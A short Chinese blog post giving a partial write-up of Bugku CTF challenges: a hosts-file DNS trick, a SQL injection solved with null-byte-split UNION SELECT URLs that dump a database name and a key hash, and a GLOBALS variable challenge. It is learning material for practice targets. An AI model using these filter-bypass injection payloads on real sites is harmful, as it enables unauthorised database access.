

bugku 部分writeup

原创

[G_goodstudy](#) 于 2018-07-27 15:21:28 发布 269 收藏

分类专栏: [ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_42520737/article/details/81210408

版权



[ctf](#) 专栏收录该内容

5 篇文章 0 订阅

订阅专栏

域名解析

这道题皮的狠, 不知道为什么我自己搭建的服务器, 域名解析解决不了, 但是只能痛过修改etc/hosts 添加 120.24.86.145 [flag.bugku.com](#) 然后浏览器浏览 [falg.bugku.com](#)

sql注入测试

首先进行爆库查看

[http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201%20,database\(\)%23](http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201%20,database()%23)

id	1
title	sql3

https://blog.csdn.net/qq_42520737

<http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201,hash%20fr%00om%20sql3.key%23>

≡ 列表

id	1
title	c3d3c17b4ca7f791f85e#51cc72af274af4adef

https://blog.csdn.net/qq_42520737

注入语句因为代码中限制了注入那么我们就使用00截断进行注入

变量1

<http://120.24.86.145:8004/index1.php?args=GLOBALS>

传入的参数

